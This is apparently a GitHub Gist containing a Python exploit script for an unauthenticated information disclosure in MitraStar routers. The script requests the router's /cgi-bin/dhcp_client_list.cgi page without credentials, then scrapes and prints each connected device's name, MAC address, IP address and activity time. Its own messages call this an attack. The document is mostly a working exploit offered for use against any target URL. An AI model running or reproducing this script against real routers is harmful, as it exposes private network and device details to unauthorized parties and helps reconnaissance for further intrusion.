Created
September 24, 2024 02:54
-
-
Save 000pp/ae42efa0c2c624c1093b969938eb7d3d to your computer and use it in GitHub Desktop.
MitraStar Unauthenticated Information Disclosure
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Don't forget to install the required libraries: | |
# BeautifulSoup, rich and requests | |
from rich.console import Console | |
from bs4 import BeautifulSoup | |
console = Console() | |
from requests import get | |
from urllib3 import disable_warnings | |
disable_warnings() | |
import argparse | |
def attack(url) -> None: | |
""" Get target information through DHCP Client List file""" | |
dhcp_url = f"{url}/cgi-bin/dhcp_client_list.cgi" | |
response = get(dhcp_url, verify=False, timeout=200) | |
soup = BeautifulSoup(response.content, 'html.parser') | |
rows = soup.find_all('tr') | |
for row in rows: | |
columns = row.find_all('td') | |
if len(columns) == 4: | |
name = columns[0].text.strip() | |
mac_address = columns[1].text.strip() | |
ip_address = columns[2].text.strip() | |
activity_time = columns[3].text.strip() | |
console.print(f" * [green]Device Name:[/] {name} | [green]MAC Address:[/] {mac_address} | [green]IP:[/] {ip_address} | [green]Activity Time:[/] {activity_time}", highlight=False) | |
def initial_request(url) -> None: | |
""" Make sure the application is accessible""" | |
console.print(f"[yellow][!][/] Attacking {url}", highlight=False) | |
response = get(url, verify=False, timeout=200) | |
if (response.ok): | |
console.print(f"[yellow][!][/] [green]{response.status_code}[/] Target acessible, proceeding with the attack", highlight=False) | |
attack(url) | |
else: | |
console.print(f"[red][-][/] [red]{response.status_code}[/] Response not ok, please check your input", highlight=False) | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(description='Arguments to be used') | |
parser.add_argument('-u', help='Target URL', required=True) | |
args = parser.parse_args() | |
url = args.u | |
initial_request(url) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Output example:
